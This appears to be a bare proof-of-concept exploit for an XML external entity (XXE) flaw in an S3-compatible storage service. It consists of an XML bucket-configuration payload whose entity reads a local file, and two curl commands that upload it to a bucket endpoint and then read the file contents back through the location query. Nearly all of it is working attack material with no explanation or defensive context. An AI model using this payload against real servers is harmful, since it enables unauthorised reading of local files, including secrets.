<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
  <LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>

curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml

curl http://127.0.0.1:PORT/TB1?location